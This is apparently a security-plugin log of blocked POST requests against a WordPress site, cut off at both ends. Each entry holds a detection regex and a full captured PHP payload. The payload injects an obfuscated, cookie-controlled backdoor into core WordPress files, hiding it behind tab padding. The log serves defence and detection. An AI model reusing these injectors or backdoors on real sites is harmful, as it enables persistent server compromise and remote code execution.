%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nOI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:35","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\njG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:37","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:3313\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:41:42","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ndI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-abilities-v1-run-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B24%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B5%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B11%255D%2528%2524p%255B15%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:45","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%